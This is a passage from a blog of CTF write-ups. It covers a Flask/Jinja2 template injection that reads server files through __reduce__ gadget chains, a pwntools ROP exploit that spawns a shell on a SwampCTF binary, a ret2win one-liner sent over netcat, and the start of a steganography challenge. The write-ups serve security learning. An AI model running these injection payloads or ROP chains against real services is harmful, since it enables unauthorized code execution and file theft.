For this challenge, since we didn't have the properties found in the articles above, we had to get creative. The best way to get started with this is to jump into a local python terminal.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1pAAwYf6ER8sTgWJ-nti11urCHhYnt7RGUU6SHcS_qX0G7jBiSu7h-KRrXtrYr7Y-ros-x0_IthH8lAeEBBbhclJdSJFKvt0A7YQV7E6ThWiRrM9gpl4MOww3kGuIWVqT4X52ngsJFiM/s1600/asian-1850219_960_720.jpg" imageanchor="1" style="margin-left: -3.3em; margin-right: 1em;"><img border="0" data-original-height="640" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1pAAwYf6ER8sTgWJ-nti11urCHhYnt7RGUU6SHcS_qX0G7jBiSu7h-KRrXtrYr7Y-ros-x0_IthH8lAeEBBbhclJdSJFKvt0A7YQV7E6ThWiRrM9gpl4MOww3kGuIWVqT4X52ngsJFiM/s1600/asian-1850219_960_720.jpg" /></a></div>
<br />
<h3 id="initial-bug">
Initial Bug</h3>
<br />
Before we get into building the payload, the initial bug was found on a route in the web app which printed a user controlled string (config is a global we can check for with Jinja2 templates):
<br />
<br />
<pre>GET http://web.euristica.in/hard_to_hack/index?data={{config}}
<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'SESSION_REFRESH_EACH_REQUEST': True, 'LOGGER_HANDLER_POLICY': 'always', 'LOGGER_NAME': 'main', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': None, 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': True, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'PROPAGATE_EXCEPTIONS': None, 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': False, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_COOKIE_SECURE': False, 'TRAP_HTTP_EXCEPTIONS': False}>
</pre>
<br />
In some challenges, this is all you need! They'll load the flag into the secrets or some other area of the Jinja2 config, and you're done, but not on this one. It must've been somewhere on the filesystem, so we'll need to call open or system somehow...
<br />
<br />
Some gadgets to watch out for:
<br />
<br />
<pre><built-in function globals> # check for any useful variables or flags in the global scope
<built-in function locals> # check for any useful variables or flags in the local scope
<built-in function dir> # introspect a python object, useful for finding other gadgets
<built-in function open> # read a file from the file system, such as a flag or the main.py source
<module 'sys' (built-in)> # leak 'version' of python or 'argv' used
<module 'os' from ' ... > # run system commands using system() call
<module 'commands' ... > # run system commands using getoutput() call
func_code # if this is available, it could leak the version of python used
func_globals # get access to a function's global variables
__builtins__ # very useful standard functions pulled in by the python runtime
__reduce__ / __reduce_ex__ # create new code objects using pickle
</pre>
<br />
This is not an exhaustive list, but some of these may be useful.
<br />
<br />
<br />
<h3 id="python-reduce-ssti-gadget">
Python Reduce SSTI Gadget</h3>
<br />
Not sure if this technique has been used before, but it worked well on this challenge.
<br />
<br />
First we need a primitive type to call __reduce__ / __reduce_ex__ on. This was done by grabbing the __str__ value of an undefined variable (this could've been done on an int, str, object, etc.):
<br />
<br />
<pre>>>> x = None
>>> x.__reduce__(42)
(<function __newobj__ at 0x10038ac80>, (<type 'NoneType'>,), None, None, None)
>>> x.__reduce__(42)[0]
<function __newobj__ at 0x10038ac80>
>>> dir(a.__reduce__(42)[0])
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
</pre>
<br />
Now we have some useful variables to play with, a couple nice ones for this challenge:
<br />
<br />
<pre># Leak python version (good for syncing local version of python to dictionary value offsets):
>>> x.__reduce__(42)[0].func_code
<code object __newobj__ at 0x7fa69d4a7530, file "/usr/lib/python2.7/copy_reg.py", line 92>
# Function globals (good to use as gadgets)
>>> x.__reduce__(42)[0].func_globals.values()
[{}, <function add_extension at 0x7fa69d4a5c08>, <type 'classobj'>, {}, ...
</pre>
<br />
Using .keys() and .values() on the object we can get a list of all the properties it has. If we index into these values, we'll be able to call any objects that exist in that dictionary.
<br />
<br />
For objects such as locals(), globals(), dir(), system(), vars() or open(), it provides us with a huge step forward.
<br />
<br />
Looking through this we can find the '__builtins__' key on index 12:
<br />
<br />
<pre>>>> x.__reduce__(42)[0].func_globals.keys()[12]
'__builtins__'
</pre>
<br />
Using '__builtins__' and checking out the values, we can also see open, this will allow us to read any file the server has access to!
<br />
<br />
<pre>>>> x.__reduce__(42)[0].func_globals.values()[12].keys()
[..., 'LookupError', 'open', 'quit', 'basestring', ...]
>>> x.__reduce__(42)[0].func_globals.values()[12].values()[80]
<built-in function="" open="">
</built-in></pre>
<br />
The index for open is 80 here, where the server was 79, this sometimes differs, so you'll need to check the server when experimenting with these values.
<br />
<br />
Now we just use open and read in a stub flag for now:
<br />
<br />
<pre>$ echo -en 'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}' > flag
$ python
>>> x = None
>>> x.__reduce__(42)[0].func_globals.values()[12].values()[80]('./flag').read()
'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}'
</pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirwxHlR8oc1QsrwG57_ZvT6LzHVZMxkUdib5pfgQNc-q8nng31-uj7YSEuyVlDiz4Y-Y1_fKCfGX5VqXeWPkQTNkcNPqAAvOQpzdR6jyOF05CNXc3iMr7zG_dbK2K4x8fBDJl7Lta7m8o/s1600/japanese-garden-1159550_960_720.jpg" imageanchor="1" style="margin-left: -3.5em; margin-right: 1em;"><img border="0" data-original-height="720" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirwxHlR8oc1QsrwG57_ZvT6LzHVZMxkUdib5pfgQNc-q8nng31-uj7YSEuyVlDiz4Y-Y1_fKCfGX5VqXeWPkQTNkcNPqAAvOQpzdR6jyOF05CNXc3iMr7zG_dbK2K4x8fBDJl7Lta7m8o/s1600/japanese-garden-1159550_960_720.jpg" /></a></div>
<h3 id="leaking-source">
<br />
Leaking the Source</h3>
<br />
Now trying this on the server was the same (with a small adjustment for the open index). It also seemed like a good idea to dump the source before leaving.
<br />
<br />
This was the result of finding the open() function in the function globals, reading in the server source:
<br />
<br />
<pre>{{x.__str__.__reduce__(42)[0].func_globals.values()[12].values()[79]('./main.py').read()}}
</pre>
<br />
<pre>from flask import Flask , request, render_template,render_template_string
app=Flask(__name__)
@app.route('/')
def root():
return render_template('home.html')
@app.route('/index',methods=['POST','GET'])
def homepage():
data='{{4}}'
blacklist = ['__class__','class','mro','subclass','request[','shutdown','SHUTDOWN','server']
try:
data=request.form['data']
except:
data=request.args.get('data')
try:
for bad_string in blacklist:
if bad_string in data:
return '>h1<HACK ATTEMPT Detected>/h1<{}'
except:
return '>h1<Sigh! A request is needed with 'data' parameter'
try:
return render_template_string(data)
except:
return ('>h1<Please don\'t mess with me>/h1<')
if __name__ == '__main__':
app.run(debug=True)
</pre>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEignxcJTHJ5Z925vDcTrKo6Aga5pCcAVT4DmMHZNCd3KpEhkQUMY1vxvXlyym-9bROF4AcUz2lNQdsT9ghlmUGc3eI29ZYK0oRzdfMw3eL8fnfFsQo47XsC55eY0IKPgiATUTy1H22t8yQ/s1600/japan-1432868_960_720.jpg" imageanchor="1" style="margin-left: -3em; margin-right: 1em;"><img border="0" data-original-height="554" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEignxcJTHJ5Z925vDcTrKo6Aga5pCcAVT4DmMHZNCd3KpEhkQUMY1vxvXlyym-9bROF4AcUz2lNQdsT9ghlmUGc3eI29ZYK0oRzdfMw3eL8fnfFsQo47XsC55eY0IKPgiATUTy1H22t8yQ/s1600/japan-1432868_960_720.jpg" /></a></div>
<br />
<h3 id="final-payload">
Final Payload</h3>
<br />
Running the last payload with './flag' on their web server we drop the final flag:
<br />
<br />
<pre>http://web.euristica.in/hard_to_hack/index?data={{x.__str__.__reduce__(42)[0].func_globals.values()[12].values()[79]('./flag').read()}}
flag{BlackListing_N3Ver_H3lp3d_An40ne}
</pre>
<br />
<i>(First Image in post from - <a href="http://www.taleofgenji.org/ota.html">http://www.taleofgenji.org/ota.html</a>)</i></div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-79260860588937118152018-04-02T01:38:00.001-07:002018-04-02T01:52:56.425-07:00SwampCTF 2018 - Power QWORD<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGlICJPUOAlZCRTYL32JydbLNKAdaM5sHeBRHTogQWMCz65e0uPvK6dQUWYkb6L8aHiloPXOXye-7DqHvj4evxJwatg54cpwfGjYDuS0xTEOrWs0My1hKSdE-2grm6tlCJlDADTWkQ6Vk/s1600/mage.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="398" data-original-width="267" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGlICJPUOAlZCRTYL32JydbLNKAdaM5sHeBRHTogQWMCz65e0uPvK6dQUWYkb6L8aHiloPXOXye-7DqHvj4evxJwatg54cpwfGjYDuS0xTEOrWs0My1hKSdE-2grm6tlCJlDADTWkQ6Vk/s1600/mage.png" /></a></div>
<a href="https://github.com/vitapluvia/writeups/tree/master/swampCTF2018/power-qword">Resources</a> & Description:
<br />
<br />
<pre>
The darkness increases as you descend down the stone steps towards The Source. The last vestiges of soft light begin to fade and a red haze starts to permeate the air. Suddenly, as you step on to a landing a MAGE blocks the way. He says...
Connect
nc chal1.swampctf.com 1999
-=Created By: digitalcold=-
</pre>
<br />
<br />
When running this binary initially we're prompted with the following question:
<br />
<br />
<pre>$ ./power
Mage: The old books speak of a single Power QWord that grants
its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no):
</pre>
<br />
Of Course....
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPuB0TgEfdeXfZ6EdxhVCMtblpbJFB1Z0igl4Sg4EQK_pqInA83yJx4vo-rMDOwS_qX-B99PvMikHQA-gflSpktTQsrkbY0NoIFj_xiwBNSsgTscL43CVQklvMbqhDM-enSc4nHBRjYas/s1600/i-do-believe.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="198" data-original-width="477" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPuB0TgEfdeXfZ6EdxhVCMtblpbJFB1Z0igl4Sg4EQK_pqInA83yJx4vo-rMDOwS_qX-B99PvMikHQA-gflSpktTQsrkbY0NoIFj_xiwBNSsgTscL43CVQklvMbqhDM-enSc4nHBRjYas/s640/i-do-believe.gif" width="640" /></a></div>
<br />
<br />
Looking at the checksec report we get:<br />
<br />
<pre> Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
</pre>
<br />
Everything enabled + ASLR on the server! Great!
<br />
<br />
Looking at the instructions, after accepting the magic of exploitation, we see it reads a single QWORD to overwrite saved RIP.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0AWwqPXL8Rc_4lSOXbJYgT7LVBfMl37CgJJObMjDN_7AxGvU1dv811GkBssHLRSLD0h3NkomKWtXijE7OpDHcU-bdyajQl11mtk-Q6fv0ngAamMwqRabWnTJVhcYJ2uHVLgtO1g_lZ3M/s1600/qword-overwrite.png" imageanchor="1" style="margin-left: -5em; margin-right: 1em;"><img border="0" data-original-height="517" data-original-width="1026" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0AWwqPXL8Rc_4lSOXbJYgT7LVBfMl37CgJJObMjDN_7AxGvU1dv811GkBssHLRSLD0h3NkomKWtXijE7OpDHcU-bdyajQl11mtk-Q6fv0ngAamMwqRabWnTJVhcYJ2uHVLgtO1g_lZ3M/s1600/qword-overwrite.png" /></a></div>
<br />
Notice also they generously provided a leak to libc system, as reflected in the stdout:
<br />
<br />
<pre>$ ./power
Mage: The old books speak of a single Power QWord that grants
its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no): yes
Mage: Show me your conviction to The Source.
Take this basis [the mage hands you 0x7fd2fc20d590]
and speak the Power QWord:
...
</pre>
<br />
So we only have one gadget to work with, what are we going to do?
<br />
<br />
Well, we could call something like gets to read more data onto the stack and return to it, so let's try that!
<br />
<br />
First let's make a client. I chose to use <a href="https://github.com/vitapluvia/pwnup">pwnup</a> to record initial interactions and dump a simple python script:
<br />
<br />
<pre>#!/usr/bin/env python
from pwn import *
r = process('power')
def main():
print(r.recvuntil('lieve in such things? (yes/no): '))
r.send('yes\n')
print(r.recvuntil(' and speak the Power QWord: '))
r.send('AAAAAAAA\n')
if __name__ == "__main__":
main()
</pre>
<br />
We can refine this client to parse the libc system address and calculate the base address using the libc version provided:
<br />
<br />
<pre>#!/usr/bin/env python
from pwn import *
from pwnlib.util.safeeval import const
r = process('power')
libc = ELF('./libc.so.6')
def main():
print(r.recvuntil(': '))
r.send('yes\n')
print r.recvuntil('the mage hands you')
leak = r.recvuntil(']').lstrip(' ').rstrip(']')
print r.recvuntil('QWord:')
system = const(leak)
base = system - libc.symbols['__libc_system']
print 'base: {}'.format(hex(base))
print 'system: {}'.format(hex(system))
r.send('AAAAAAAA\n')
if __name__ == "__main__":
main()
</pre>
<br />
Now we can calculate the offset of _IO_gets, /bin/sh and a simple pop rdi gadget to setup the call to system (<a href="https://github.com/Gallopsled/pwntools">pwntools</a> makes this all very simple):
<br />
<br />
<pre> system = const(leak)
base = system - libc.symbols['__libc_system']
gets = base + libc.symbols['_IO_gets']
binsh = base + libc.search('/bin/sh').next()
pop_rdi = base + libc.search(asm('pop rdi; ret;')).next()
print 'base: {}'.format(hex(base))
print 'pop rdi: {}'.format(hex(pop_rdi))
print 'system: {}'.format(hex(system))
print '/bin/sh: {}'.format(hex(binsh))
</pre>
<br />
Setting up the payload we get the following chain:
<br />
<br />
<pre>payload = p64(gets) + p64(pop_rdi) + p64(binsh) + p64(system)
</pre>
<br />
With that, the full client looks something like this:
<br />
<br />
<script src="https://gist.github.com/vitapluvia/938b1f65289f84553b6863c37cf4b0bb.js"></script>
Running this against the server we get a shell! : )
<br />
<br />
<pre>[*] './libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chal1.swampctf.com on port 1999: Done
Mage:
The old books speak of a single Power QWord that grants
its speaker a direct link to The Source.
Mage: Do you believe in such things? (yes/no): Mage: Show me your conviction to The Source.
Take this basis [the mage hands you
and speak the Power QWord:
base: 0x7fd4f0017000
pop rdi: 0x7fd4f0038102
system: 0x7fd4f005c390
/bin/sh: 0x7fd4f01a3d57
[*] Switching to interactive mode
$ ls -la
total 28
drwxr-x--- 1 root ctf 4096 Mar 30 15:24 .
drwxr-xr-x 1 root root 4096 Mar 26 07:15 ..
-r--r--r-- 1 root ctf 29 Mar 30 15:24 flag
-r-xr-xr-x 1 root ctf 13024 Mar 30 15:24 power
$ cat flag
flag{m4g1c_1s_4ll_ar0Und_u5}
</pre>
<br /></div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-28310677810607001192018-04-01T23:46:00.001-07:002018-04-02T01:54:39.817-07:00SwampCTF 2018 - Apprentice's Return<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<div class="example">
<div class="separator" style="clear: both; text-align: center;"><a href="http://www.dungeonsanddrawings.com/2017/01/ghosts-are-created-when-persons-death.html" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh21jbKas8nbzpvBGq0s30_TMyPPTLDWErvruvlhFRQPzG89vGpbp8uyqO4yDUlmA0_JjSLTuS3iMZ1unqa_su85-3ifgzfcXbc1g3e8vch5WxWEmN2ap03wYUBd1G2HGGuLjC77e-kdL4/s1600/allip.png" data-original-width="640" data-original-height="640" /></a></div>
<br />
This was a fun little intro challenge for the CTF. It adds a twist to the classic first step for beginners in exploit development.
<br /><br />
One of the first ideas in exploitation is to change execution to a 'WIN' function, in this case 'slayTheBeast'.
<br /><br />
<a href="https://github.com/vitapluvia/writeups/tree/master/swampCTF2018/apprentices-return">Resources</a> & Description:
<br /><br />
<pre>
For one such as yourself, apprentice to the arts of time manipulation, you must pass this first trial with a dreadful creature.
Connect:
nc chal1.swampctf.com 1802
-=Created By: TobalJackson=-
</pre>
<br />
Here's the checksec listing:
<br /><br />
<pre>
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
</pre>
<br />
The 'doBattle' function will read 50 bytes onto the stack then check the first gadget against 0x8048595, which refers to the leave instruction in 'doBattle':
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGS_PFheC1qH950X73AHnacQH3lhuZrVD8nxTjJTyjYaxqP879Z2ZBhsGNpggP7ylSXev9XML7N_3HN74WStfoPb0yr9MYawk3lPd3YV36NslEgJHBdrD69o03laPunTFK3U2q4E-qncE/s1600/compare-first-gadget.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGS_PFheC1qH950X73AHnacQH3lhuZrVD8nxTjJTyjYaxqP879Z2ZBhsGNpggP7ylSXev9XML7N_3HN74WStfoPb0yr9MYawk3lPd3YV36NslEgJHBdrD69o03laPunTFK3U2q4E-qncE/s1600/compare-first-gadget.png" data-original-width="776" data-original-height="298" /></a></div>
<br />
The comparison checks the first gadget is below or equal to 0x8048595 using jbe. If this comparison passes, we get to return to our ROP chain.
<br />
<br />
Inspecting 'slayTheBeast', we can see it just cat's the flag, but the addresses are all above the previous comparison (0x8048595):
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDJWr3bb5TX-4vyxoppH5JoZyjPr-Ikhy5EognIzrzewazJ34qI6jyP71-dBpqoQ6j71VIVWEpS6m9PgsBqrZkrBsZhgoCZSWhiAcr_6VBU72P5u8BkNomur7kolX75ccNSasLBxPyuMI/s1600/slay-the-beast.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDJWr3bb5TX-4vyxoppH5JoZyjPr-Ikhy5EognIzrzewazJ34qI6jyP71-dBpqoQ6j71VIVWEpS6m9PgsBqrZkrBsZhgoCZSWhiAcr_6VBU72P5u8BkNomur7kolX75ccNSasLBxPyuMI/s1600/slay-the-beast.png" data-original-width="805" data-original-height="501" /></a></div>
<br />
To pass the initial check, we can find a simple gadget which just returns to another gadget, almost a NOP gadget if you will. Let's look for this using ropper:
<br />
<br />
<pre>
[INFO] Load gadgets from cache
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret
[INFO] File: return
0x08048545: ret 0x2b76;
0x0804853e: ret 0x95b8;
0x0804847e: ret 0xeac1;
0x080485ea: ret 0xfffd;
0x0804835a: ret;
</pre>
<br />
The last one satisfies our constraint and has a clean exit, let's use that (0x0804835a) in combination with the flag printing function (0x80485db):
<br />
<br />
<pre>
$ python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db)' | ./return
As you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip! The beast lurches at you; quick! Tell me what you do:
Your actions take the Allip by surprise, causing it to falter in its attack! You notice a weakness in the beasts form and see a glimmer of how it might be defeated.
Through expert manouvering of both body and mind, you lash out with your ethereal blade and pierce the beast's heart, slaying it.
As it shimmers and withers, you quickly remember to lean in and command it to relinquish its secret:
flag{fake_flag}
[1] 30162 done python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db) |
30163 segmentation fault (core dumped) ./return
</pre>
<br />
(The fake flag was placed in the same directory before executing the exploit)
<br /><br />
<pre>
echo 'flag{fake_flag}' > flag.txt
</pre>
<br />
Now we can try it against the live service:
<br />
<br />
<pre>
$ python -c 'from pwn import *; print "A"*42 + p32(0x0804835a) + p32(0x80485db)' | nc chal1.swampctf.com 1802
As you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip! The beast lurches at you; quick! Tell me what you do:
Your actions take the Allip by surprise, causing it to falter in its attack! You notice a weakness in the beasts form and see a glimmer of how it might be defeated.
Through expert manouvering of both body and mind, you lash out with your ethereal blade and pierce the beast's heart, slaying it.
As it shimmers and withers, you quickly remember to lean in and command it to relinquish its secret:
...
</pre>
<br />
And we've got the flag! Fear not the ancient ROPnique:
<br />
<br />
<pre>
flag{f34r_n0t_th3_4nc13n7_R0pn1qu3}
</pre>
<br />
<i>Art on top is from <a href="http://www.dungeonsanddrawings.com/">http://www.dungeonsanddrawings.com/</a></i>
</div>.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-31470370737278246672018-03-12T02:04:00.001-07:002018-03-12T02:04:29.768-07:00N1CTF 2018 - Lipstick<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<div class="example">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiflqU4f32xm-wvxaPGQXWV0olg_6yZhQzjUUEDeVcs8Z22vLvI6nXZM5FZgwGT-3kLMbvAwhOxa9o4sSbFCrVFXmhDyNrInW1bk5c0rehz1TPm2R7mSu3xPFMwZnjPtFhxXwc-wLgsR1I/s1600/603fda27-2893-4e60-9d9f-39962b8c8440.png" imageanchor="1" style="margin-left: -20em; margin-right: 1em;"><img border="0" data-original-height="254" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiflqU4f32xm-wvxaPGQXWV0olg_6yZhQzjUUEDeVcs8Z22vLvI6nXZM5FZgwGT-3kLMbvAwhOxa9o4sSbFCrVFXmhDyNrInW1bk5c0rehz1TPm2R7mSu3xPFMwZnjPtFhxXwc-wLgsR1I/s1600/603fda27-2893-4e60-9d9f-39962b8c8440.png" /></a></div>
<br />
This challenge was very interesting! It included multiple types of stego and some web scraping.
<br />
<br />
We're given the image shown above. Looking very innocuous with flat colors, it seems one would try to hide lsb data in it. Let's try zsteg to extract some values:
<br />
<br />
<pre>$ zsteg -a 603fda27-2893-4e60-9d9f-39962b8c8440.png
b1,bgr,lsb,xy .. text: "flag.txt"
b2,g,lsb,xy .. file: 5View capture file
b2,g,msb,xy .. file: VISX image file
b2,b,msb,xy .. text: "UUuUUWUUUUUuUUUU"
b2,bgr,lsb,xy .. text: "AAAP@QUDQ"
b3,b,lsb,xy .. file: GLS_BINARY_MSB_FIRST
b4,r,lsb,xy .. text: "UDTTUEEDDEDEUEDDTEDETDEDDEDDDDTDUEEETDUDEUDDDDDDDDDDDDUDDDDDDDDDDDDDDDDDDDD\"322\"223##\"\"\"\"\"\"\"\"\"\"\"\"#\"#\"\"\"3\"#"
b4,r,msb,xy .. text: "333333333;"
b4,g,lsb,xy .. file: 5View capture file
b4,g,msb,xy .. file: VISX image file
b4,b,msb,xy .. text: ["w" repeated 12 times]
b6,g,msb,xy .. text: "4ES4EQ4MS4M"
</pre>
<br />
Looks like one of the first hits is promising! "flag.txt", maybe we should extract that portion alone, first let's inspect it.
<br />
<br />
Passing the -v flag into zsteg, we can get the hex dump of that extraction:
<br />
<br />
<pre>zsteg -v 603fda27-2893-4e60-9d9f-39962b8c8440.png b1,bgr,lsb,xy
b1,bgr,lsb,xy .. text: "flag.txt"
00000000: 00 00 00 00 00 00 00 e3 50 4b 03 04 14 00 01 08 |........PK......|
00000010: 08 00 70 42 67 4c 37 20 ff 48 4d 00 00 00 43 00 |..pBgL7 .HM...C.|
00000020: 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 ce 98 |......flag.txt..|
00000030: 5e 65 7a ba 27 91 a6 eb 1b 25 54 f3 b9 6d 0f ca |^ez.'....%T..m..|
00000040: 78 7c 20 6a 79 e8 39 99 c8 df ad 3d 9a c8 4b fc |x| jy.9....=..K.|
00000050: 53 1d db 6e 95 9d 07 ae 1c 91 eb fe a7 18 33 00 |S..n..........3.|
00000060: 9e f5 12 8e 7f c6 e6 7e 1a c8 3d cf 94 97 2f b0 |.......~..=.../.|
00000070: 96 64 f3 a7 d1 94 64 23 98 3f 47 50 4b 01 02 3f |.d....d#.?GPK..?|
00000080: 00 14 00 01 08 08 00 70 42 67 4c 37 20 ff 48 4d |.......pBgL7 .HM|
00000090: 00 00 00 43 00 00 00 08 00 24 00 00 00 00 00 00 |...C.....$......|
000000a0: 00 20 00 00 00 00 00 00 00 66 6c 61 67 2e 74 78 |. .......flag.tx|
000000b0: 74 0a 00 20 00 00 00 00 00 01 00 18 00 5b d9 a1 |t.. .........[..|
000000c0: f6 a9 b5 d3 01 a5 f5 f6 76 a9 b5 d3 01 a5 f5 f6 |........v.......|
000000d0: 76 a9 b5 d3 01 50 4b 05 06 00 00 00 00 01 00 01 |v....PK.........|
000000e0: 00 5a 00 00 00 73 00 00 00 00 00 92 49 24 92 49 |.Z...s......I$.I|
000000f0: 24 92 49 24 92 49 24 92 49 24 92 49 24 92 49 24 |$.I$.I$.I$.I$.I$|
</pre>
<br />
On the top there's PK, that's the magic byte for zip! A zip hidden in lsb.
<br />
<br />
Extracting it with zsteg we have some trailing bytes, we can extract the zip itself with binwalk and verify using 7z:
<br />
<br />
<pre>$ zsteg 603fda27-2893-4e60-9d9f-39962b8c8440.png -E b1,bgr,lsb,xy > out
$ binwalk -e out
$ cd _out.extracted
$ 7z l 8.zip
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2018-03-06 17:19:31 ....A 67 77 flag.txt
------------------- ----- ------------ ------------ ------------------------
2018-03-06 17:19:31 67 77 1 files
</pre>
<br />
<br />
Next we needed to get the password. At this point we could assume they decided to go with a value from rockyou.txt, but asking the admins it turned out there was another part to the challenge missing.
<br />
<br />
Reframing with the idea of the challenge named "Lipstick" it seemed to suggest more than just lsb. There are 21 colors, which may map to some character for the zip, but we would need to map the colors to numbers somehow. It is also important for the stego designer to make this somewhat deterministic.
<br />
<br />
Looking through the color channels again in StegSolve, this turns up:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAlb1Kh-MZ_w15SjS4oHH9vquHBPKKGh_6EHSG2M3xlMCGjw0TGI_jCCXXvs10R_2jT5M_FTgmbLZ0gi_ANc9RDIiNWFX9zo_PrGIwdyxnKbRLIVMHpM-PTIHz3VHwbg00cO8yqTkobJY/s1600/ysl.bmp" imageanchor="1" style="margin-left: -4em; margin-right: 1em;"><img border="0" data-original-height="150" data-original-width="945" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAlb1Kh-MZ_w15SjS4oHH9vquHBPKKGh_6EHSG2M3xlMCGjw0TGI_jCCXXvs10R_2jT5M_FTgmbLZ0gi_ANc9RDIiNWFX9zo_PrGIwdyxnKbRLIVMHpM-PTIHz3VHwbg00cO8yqTkobJY/s1600/ysl.bmp" /></a></div>
<br />
YSL: Yves Saint Laurent. A recognizable fashion brand which sells lipstick. This may lead us to something predictable!
<br />
<br />
Looking for lipstick on their online store we can find the full color palette - <a href="https://www.yslbeautyus.com/makeup/lips/rouge-pur-couture-lipstick/194YSL.html">example</a>.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
